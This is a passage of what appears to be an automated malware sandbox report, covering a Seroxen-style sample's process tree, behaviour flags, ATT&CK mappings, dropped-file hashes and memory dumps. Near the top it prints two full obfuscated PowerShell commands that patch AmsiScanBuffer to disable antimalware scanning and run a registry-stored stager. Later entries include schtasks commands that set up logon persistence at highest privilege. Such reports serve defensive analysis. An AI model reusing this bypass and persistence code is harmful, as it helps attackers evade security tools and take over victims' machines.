108)+''+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$YPXUArufHrqiat).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+'t'+''+[Char](105)+'m'+[Char](101)+','+[Char](77)+''+[Char](97)+''+[Char](110)+''+'a'+''+'g'+''+[Char](101)+''+[Char](100)+'');$wKuXBxIbriu.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+'o'+[Char](107)+''+[Char](101)+'','P'+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+','+[Char](72)+''+[Char](105)+''+'d'+''+[Char](101)+''+[Char](66)+'y'+'S'+'i'+[Char](103)+''+[Char](44)+''+'N'+''+[Char](101)+''+[Char](119)+''+'S'+'l'+'o'+'t'+','+'V'+[Char](105)+'r'+[Char](116)+''+[Char](117)+''+[Char](97)+'l',$VoQYaUGEOI,$YPXUArufHrqiat).SetImplementationFlags(''+'R'+''+[Char](117)+''+'n'+''+[Char](116)+''+[Char](105)+''+[Char](109)+'e'+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+'a'+''+'g'+''+[Char](101)+''+[Char](100)+'');Write-Output $wKuXBxIbriu.CreateType();}$iPDhujhhTrdyF=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+[Char](115)+'t'+'e'+''+'m'+'.'+'d'+''+[Char](108)+''+[Char](108)+'')}).GetType(''+'M'+''+[Char](105)+'c'+'r'+''+[Char](111)+'s'+'o'+''+[Char](102)+'t'+[Char](46)+'W'+[Char](105)+''+[Char](110)+''+[Char](51)+''+[Char](50)+''+[Char](46)+'U'+[Char](110)+''+[Char](115)+''+[Char](97)+'f'+'e'+''+[Char](78)+'a'+'t'+''+[Char](105)+'v'+'e'+''+'M'+''+[Char](101)+''+[Char](116)+'h'+[Char](111)+''+[Char](100)+''+[Char](115)+'');$gWkPOJLbowswhC=$iPDhujhhTrdyF.GetMethod(''+'G'+''+'e'+'t'+[Char](80)+''+[Char](114)+''+[Char](111)+''+'c'+''+[Char](65)+'d'+[Char](100)+'r'+[Char](101)+''+[Char](115)+''+'s'+'',[Reflection.BindingFlags](''+'P'+'ub'+[Char](108)+'i'+[Char](99)+''+[Char](44)+''+'S'+''+[Char](116)+''+[Char](97)+'t'+[Char](105)+''+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$EVcXSdlnAYyjsJNxcPC=tYtDsKqRlRqD @([String])([IntPtr]);$cDaHnqogZhHlULYCMuKiDE=tYtDsKqRlRqD @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$ElhSiwfgZqF=$iPDhujhhTrdyF.GetMethod('G'+[Char](101)+''+[Char](116)+'M'+[Char](111)+''+'d'+''+'u'+'l'+[Char](101)+'Handl'+'e'+'').Invoke($Null,@([Object](''+'k'+''+[Char](101)+''+'r'+'n'+[Char](101)+''+[Char](108)+''+'3'+''+'2'+''+[Char](46)+'d'+'l'+''+[Char](108)+'')));$EemEXhZgyaNCle=$gWkPOJLbowswhC.Invoke($Null,@([Object]$ElhSiwfgZqF,[Object](''+[Char](76)+''+'o'+''+[Char](97)+''+[Char](100)+''+[Char](76)+''+'i'+''+'b'+''+[Char](114)+''+[Char](97)+'r'+[Char](121)+''+[Char](65)+'')));$BdxzsfBYmxTGPVQSi=$gWkPOJLbowswhC.Invoke($Null,@([Object]$ElhSiwfgZqF,[Object](''+[Char](86)+''+'i'+'rt'+[Char](117)+''+[Char](97)+''+[Char](108)+''+'P'+''+[Char](114)+''+[Char](111)+''+[Char](116)+''+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$HFQYLRo=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($EemEXhZgyaNCle,$EVcXSdlnAYyjsJNxcPC).Invoke('ams'+[Char](105)+''+'.'+'d'+[Char](108)+''+[Char](108)+'');$PZSiMfyihJUDkAcBE=$gWkPOJLbowswhC.Invoke($Null,@([Object]$HFQYLRo,[Object]('A'+[Char](109)+''+[Char](115)+''+[Char](105)+''+[Char](83)+''+'c'+''+[Char](97)+'n'+[Char](66)+'u'+[Char](102)+'f'+[Char](101)+''+[Char](114)+'')));$KVdEFoUHaJ=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($BdxzsfBYmxTGPVQSi,$cDaHnqogZhHlULYCMuKiDE).Invoke($PZSiMfyihJUDkAcBE,[uint32]8,4,[ref]$KVdEFoUHaJ);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$PZSiMfyihJUDkAcBE,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($BdxzsfBYmxTGPVQSi,$cDaHnqogZhHlULYCMuKiDE).Invoke($PZSiMfyihJUDkAcBE,[uint32]8,0x20,[ref]$KVdEFoUHaJ);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+'T'+[Char](87)+''+'A'+''+[Char](82)+'E').GetValue(''+[Char](36)+''+[Char](55)+''+[Char](55)+''+[Char](115)+''+[Char](116)+''+[Char](97)+'g'+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1832

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:MxVxtzvJhQcI{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$tKAvvwHvbUDClA,[Parameter(Position=1)][Type]$qoiMRnIGZT)$PoUtRHPpIsS=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+'e'+''+'f'+''+[Char](108)+''+[Char](101)+'c'+'t'+''+[Char](101)+''+[Char](100)+'D'+[Char](101)+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+[Char](97)+'te')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+'Me'+[Char](109)+''+[Char](111)+'r'+[Char](121)+'Mo'+[Char](100)+''+[Char](117)+''+'l'+''+[Char](101)+'',$False).DefineType('M'+[Char](121)+''+[Char](68)+''+'e'+''+[Char](108)+''+[Char](101)+''+'g'+''+'a'+'t'+[Char](101)+''+'T'+'y'+'p'+'e',''+[Char](67)+''+'l'+''+[Char](97)+''+'s'+'s'+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+','+[Char](83)+''+'e'+'al'+'e'+''+[Char](100)+''+[Char](44)+''+'A'+'n'+[Char](115)+''+[Char](105)+''+[Char](67)+''+[Char](108)+''+'a'+''+[Char](115)+''+'s'+''+[Char](44)+''+[Char](65)+''+'u'+''+[Char](116)+'o'+[Char](67)+'l'+[Char](97)+'s'+[Char](115)+'',[MulticastDelegate]);$PoUtRHPpIsS.DefineConstructor('RT'+[Char](83)+''+[Char](112)+''+[Char](101)+''+[Char](99)+''+'i'+'a'+'l'+''+[Char](78)+''+[Char](97)+''+'m'+''+'e'+','+'H'+''+[Char](105)+''+[Char](100)+'eB'+[Char](121)+'S'+[Char](105)+''+[Char](103)+''+','+''+[Char](80)+''+'u'+'b'+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$tKAvvwHvbUDClA).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+'e'+''+[Char](44)+'M'+'a'+'n'+'a'+'g'+'e'+''+[Char](100)+'');$PoUtRHPpIsS.DefineMethod(''+[Char](73)+''+'n'+''+'v'+''+[Char](111)+''+'k'+'e',''+'P'+''+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+'c'+[Char](44)+''+[Char](72)+''+[Char](105)+'d'+[Char](101)+''+[Char](66)+'y'+'S'+''+[Char](105)+'g,'+'N'+''+[Char](101)+'w'+[Char](83)+'lo'+[Char](116)+''+','+''+[Char](86)+''+'i'+''+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+'l',$qoiMRnIGZT,$tKAvvwHvbUDClA).SetImplementationFlags('Ru'+[Char](110)+''+[Char](116)+''+[Char](105)+'m'+'e'+''+','+''+[Char](77)+'a'+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');Write-Output $PoUtRHPpIsS.CreateType();}$DsZWmDDlXokbV=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+'s'+''+[Char](116)+''+[Char](101)+''+[Char](109)+'.dl'+[Char](108)+'')}).GetType(''+[Char](77)+'ic'+[Char](114)+''+[Char](111)+''+'s'+'o'+'f'+''+[Char](116)+''+[Char](46)+''+'W'+'in'+[Char](51)+''+[Char](50)+''+'.'+''+'U'+''+[Char](110)+''+'s'+''+[Char](97)+''+'f'+''+[Char](101)+''+[Char](78)+''+[Char](97)+''+[Char](116)+''+[Char](105)+'v'+[Char](101)+''+[Char](77)+''+'e'+''+'t'+''+[Char](104)+''+[Char](111)+'d'+'s'+'');$kOMnymMSGEMBJg=$DsZWmDDlXokbV.GetMethod(''+[Char](71)+''+'e'+'tP'+[Char](114)+''+[Char](111)+'c'+[Char](65)+'d'+'d'+''+'r'+'e'+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+'u'+[Char](98)+'l'+'i'+''+[Char](99)+''+','+'S'+'t'+''+'a'+'t'+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$goCeMiOLoocfDplfVlI=MxVxtzvJhQcI @([String])([IntPtr]);$mnIpxslFurLmezOHovfmbm=MxVxtzvJhQcI @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$gxfjqhSHSLc=$DsZWmDDlXokbV.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](77)+''+[Char](111)+''+[Char](100)+'ul'+[Char](101)+''+'H'+''+[Char](97)+'nd'+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+'e'+'r'+''+[Char](110)+'e'+[Char](108)+''+[Char](51)+''+[Char](50)+''+'.'+''+'d'+'l'+'l'+'')));$kepcgLPEiCwgRe=$kOMnymMSGEMBJg.Invoke($Null,@([Object]$gxfjqhSHSLc,[Object](''+[Char](76)+'o'+[Char](97)+''+[Char](100)+''+[Char](76)+''+'i'+'b'+[Char](114)+'a'+'r'+''+[Char](121)+'A')));$XSBpTrZhOunFpXbif=$kOMnymMSGEMBJg.Invoke($Null,@([Object]$gxfjqhSHSLc,[Object](''+'V'+''+'i'+'r'+'t'+'u'+'a'+''+[Char](108)+''+[Char](80)+'r'+[Char](111)+''+[Char](116)+''+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$jhdhIqO=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($kepcgLPEiCwgRe,$goCeMiOLoocfDplfVlI).Invoke(''+'a'+''+'m'+'s'+[Char](105)+'.'+'d'+'l'+'l'+'');$hFMtNnMWuBKizqSmX=$kOMnymMSGEMBJg.Invoke($Null,@([Object]$jhdhIqO,[Object]('A'+[Char](109)+''+[Char](115)+''+[Char](105)+''+[Char](83)+''+[Char](99)+''+'a'+''+[Char](110)+'Bu'+'f'+''+[Char](102)+''+[Char](101)+''+[Char](114)+'')));$vRKuiXsOTo=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($XSBpTrZhOunFpXbif,$mnIpxslFurLmezOHovfmbm).Invoke($hFMtNnMWuBKizqSmX,[uint32]8,4,[ref]$vRKuiXsOTo);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$hFMtNnMWuBKizqSmX,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($XSBpTrZhOunFpXbif,$mnIpxslFurLmezOHovfmbm).Invoke($hFMtNnMWuBKizqSmX,[uint32]8,0x20,[ref]$vRKuiXsOTo);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+'T'+''+[Char](87)+''+[Char](65)+'R'+[Char](69)+'').GetValue('$'+[Char](55)+''+[Char](55)+''+[Char](115)+''+[Char](116)+''+'a'+''+[Char](103)+''+'e'+'r')).EntryPoint.Invoke($Null,$Null)"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4820

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
3⤵
PID:4984

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s EventLog
1⤵
- Drops file in System32 directory
PID:1132

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
1⤵
PID:1148

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s EventSystem
1⤵
PID:1156

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Themes
1⤵
PID:1216

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s nsi
1⤵
PID:1304

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s SENS
1⤵
PID:1376

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s UserManager
1⤵
PID:1392

c:\windows\system32\sihost.exe
sihost.exe
2⤵
PID:3004

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s Dhcp
1⤵
PID:1440

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s AudioEndpointBuilder
1⤵
PID:1480

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
1⤵
PID:1576

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s NlaSvc
1⤵
PID:1600

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s Dnscache
1⤵
PID:1648

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
1⤵
PID:1716

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted
1⤵
PID:1732

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k appmodel -s StateRepository
1⤵
PID:1788

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s netprofm
1⤵
PID:1844

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
1⤵
PID:1868

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2028

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s LanmanWorkstation
1⤵
PID:1536

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservicenetworkrestricted -s PolicyAgent
1⤵
PID:2252

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
1⤵
PID:2268

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
1⤵
PID:2312

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k appmodel -s tiledatamodelsvc
1⤵
PID:2428

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2436

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Browser
1⤵
PID:2484

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2496

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2536

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s TrkWks
1⤵
PID:2544

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s WpnService
1⤵
PID:2556

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2960

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k unistacksvcgroup -s CDPUserSvc
1⤵
PID:3028

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s TokenBroker
1⤵
PID:3280

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of UnmapMainImage
PID:3392

C:\Users\Admin\AppData\Local\Temp\Uni.exe
"C:\Users\Admin\AppData\Local\Temp\Uni.exe"
2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1104

C:\Windows\SysWOW64\schtasks.exe
"schtasks" /create /tn "$sxr-powershell" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\Uni.exe" /rl HIGHEST /f
3⤵
- Creates scheduled task(s)
PID:2148

C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe
"C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe"
3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2076

C:\Windows\SysWOW64\schtasks.exe
"schtasks" /create /tn "$sxr-powershell" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe" /rl HIGHEST /f
4⤵
- Creates scheduled task(s)
PID:2724

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
5⤵
PID:4688

C:\Users\Admin\AppData\Local\Temp\install.exe
"C:\Users\Admin\AppData\Local\Temp\install.exe"
4⤵
- Executes dropped EXE
PID:2168

C:\Users\Admin\AppData\Local\Temp\install.exe
"C:\Users\Admin\AppData\Local\Temp\install.exe"
3⤵
- Executes dropped EXE
PID:2700

C:\Windows\SysWOW64\SCHTASKS.exe
"SCHTASKS.exe" /create /tn "$77Uni.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\Uni.exe'" /sc onlogon /rl HIGHEST
3⤵
- Creates scheduled task(s)
PID:4340

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4044

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4160

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s CDPSvc
1⤵
PID:5056

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localserviceandnoimpersonation -s SSDPSRV
1⤵
PID:3964

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:684

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:4540

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s wlidsvc
1⤵
PID:4860

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:1928

C:\Windows\system32\ApplicationFrameHost.exe
C:\Windows\system32\ApplicationFrameHost.exe -Embedding
1⤵
PID:3108

C:\Windows\System32\InstallAgent.exe
C:\Windows\System32\InstallAgent.exe -Embedding
1⤵
PID:4772

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
1⤵
PID:3888

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
PID:1124

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Scheduled Task/Job

1

T1053

Persistence

Scheduled Task/Job

1

T1053

Privilege Escalation

Scheduled Task/Job

1

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service

1

T1102

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\install.exe
Filesize
162KB

MD5
152e3f07bbaf88fb8b097ba05a60df6e

SHA1
c4638921bb140e7b6a722d7c4d88afa7ed4e55c8

SHA256
a4623b34f8d09f536e6d8e2f06f6edfb3975938eb0d9927e6cd2ff9c553468fc

SHA512
2fcc3136e161e89a123f9ff8447afc21d090afdb075f084439b295988214d4b8e918be7eff47ffeec17a4a47ad5a49195b69e2465f239ee03d961a655ed51cd4

Download Submit
C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe
Filesize
409KB

MD5
7417c8c73e614f293152575f46134216

SHA1
cc68f7f5e7c769efb5b3e06bfb3a2f9329f37805

SHA256
00c7cb06bebe0da961155dc00f7ea7f96a3b04c89ae82408e7ece6968c91c3c3

SHA512
897a859e609028157f2721d76b97497d4b9f821d2b8be3359d1192ddc3a83d4b7449db25c63c3c260067b796c122194c48747dc611c98dc1e33aab82a20b98b0

Download Submit
C:\Windows\Temp\__PSScriptPolicyTest_nggblubz.5s5.ps1
Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04
Filesize
412B

MD5
3cfef59c946d9a22dd39dc419cd9466f

SHA1
e7150858d0e0751b07aaa8108426fe1a5c70038e

SHA256
e2f2081b76387d6f467e7a916a2b4242c188bb4a6d31ab46bcb2d4f7a73748e2

SHA512
abb1dd180ba6ac558a77009f2906a82f268fa417d40e8b870c1e6d6fe58b4852fe59113ef691c5b1e8b132339b57a6925bd0c9d2315251245dd4257a4b25e465

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log
Filesize
3KB

MD5
676d33d16eff06cd9468943bf1909c9a

SHA1
05a9d5c521f52406d118a15d0c26b0c426327529

SHA256
7fe6f06531f00183f775c390f0f3e90047c291667c316314d949fe568cc9f55d

SHA512
9e8915cf93a8f26ff916305b6abf9b4282e6006e6c8aee4232d234554e6badc4a3d2af101c4e0ce6191564f186f3792dbd60a8066095d1f71d1fbab9aaac0435

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
9173051a85833585f394103f7663a006

SHA1
4efc712015724ffa77c978bda0da95f9f2d5983f

SHA256
c3739950abd9c006c936d7143406ea4323a4679ada41e80512c8dbd5920673e2

SHA512
6ecf59a8180c71aa9c576c0bd55fe18fd1de5abffabda902780d68a5c3fe4a2534e854f7022c1a1f270ddfcc7526f6556d6ca037c0ebd65fdd6a3100681a1b57

Download Submit
memory/588-70-0x0000012D3B400000-0x0000012D3B42B000-memory.dmp

Filesize
172KB

Download
memory/588-62-0x0000012D3B3D0000-0x0000012D3B3F5000-memory.dmp

Filesize
148KB

Download
memory/588-63-0x0000012D3B400000-0x0000012D3B42B000-memory.dmp

Filesize
172KB

Download
memory/588-71-0x00007FF937170000-0x00007FF937180000-memory.dmp

Filesize
64KB

Download
memory/588-64-0x0000012D3B400000-0x0000012D3B42B000-memory.dmp

Filesize
172KB

Download
memory/640-86-0x000002143C3D0000-0x000002143C3FB000-memory.dmp

Filesize
172KB

Download
memory/640-92-0x000002143C3D0000-0x000002143C3FB000-memory.dmp

Filesize
172KB

Download
memory/640-93-0x00007FF937170000-0x00007FF937180000-memory.dmp

Filesize
64KB

Download
memory/748-83-0x000002C4B5630000-0x000002C4B565B000-memory.dmp

Filesize
172KB

Download
memory/748-77-0x000002C4B5630000-0x000002C4B565B000-memory.dmp

Filesize
172KB

Download
memory/748-84-0x00007FF937170000-0x00007FF937180000-memory.dmp

Filesize
64KB

Download
memory/908-104-0x00007FF937170000-0x00007FF937180000-memory.dmp

Filesize
64KB

Download
memory/908-103-0x0000029921A80000-0x0000029921AAB000-memory.dmp

Filesize
172KB

Download
memory/908-97-0x0000029921A80000-0x0000029921AAB000-memory.dmp

Filesize
172KB

Download
memory/1008-108-0x000002673B670000-0x000002673B69B000-memory.dmp

Filesize
172KB

Download
memory/1104-3-0x0000000004D60000-0x0000000004DF2000-memory.dmp

Filesize
584KB

Download
memory/1104-1-0x00000000003F0000-0x000000000045C000-memory.dmp

Filesize
432KB

Download
memory/1104-19-0x0000000073EA0000-0x000000007458E000-memory.dmp

Filesize
6.9MB

Download
memory/1104-0-0x0000000073EAE000-0x0000000073EAF000-memory.dmp

Filesize
4KB

Download
memory/1104-2-0x0000000005100000-0x00000000055FE000-memory.dmp

Filesize
5.0MB

Download
memory/1104-6-0x0000000005920000-0x0000000005932000-memory.dmp

Filesize
72KB

Download
memory/1104-5-0x0000000004CC0000-0x0000000004D26000-memory.dmp

Filesize
408KB

Download
memory/1104-4-0x0000000073EA0000-0x000000007458E000-memory.dmp

Filesize
6.9MB

Download
memory/1832-24-0x00000245AC580000-0x00000245AC5A2000-memory.dmp

Filesize
136KB

Download
memory/1832-46-0x00007FF9770E0000-0x00007FF9772BB000-memory.dmp

Filesize
1.9MB

Download
memory/1832-27-0x00000245AC730000-0x00000245AC7A6000-memory.dmp

Filesize
472KB

Download
memory/1832-45-0x00000245AC8B0000-0x00000245AC8DA000-memory.dmp

Filesize
168KB

Download
memory/1832-47-0x00007FF9764D0000-0x00007FF97657E000-memory.dmp

Filesize
696KB

Download
memory/2076-720-0x0000000007320000-0x000000000732A000-memory.dmp

Filesize
40KB

Download
memory/2076-13-0x0000000073EA0000-0x000000007458E000-memory.dmp

Filesize
6.9MB

Download
memory/2076-12-0x0000000073EA0000-0x000000007458E000-memory.dmp

Filesize
6.9MB

Download
memory/2076-1313-0x0000000073EA0000-0x000000007458E000-memory.dmp

Filesize
6.9MB

Download
memory/2076-1312-0x0000000073EA0000-0x000000007458E000-memory.dmp

Filesize
6.9MB

Download
memory/2076-669-0x0000000006680000-0x00000000066BE000-memory.dmp

Filesize
248KB

Download
memory/4360-54-0x00007FF9770E0000-0x00007FF9772BB000-memory.dmp

Filesize
1.9MB

Download
memory/4360-55-0x00007FF9764D0000-0x00007FF97657E000-memory.dmp

Filesize
696KB

Download
memory/4360-59-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4360-49-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4360-51-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4360-53-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4360-48-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4360-50-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

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Downloads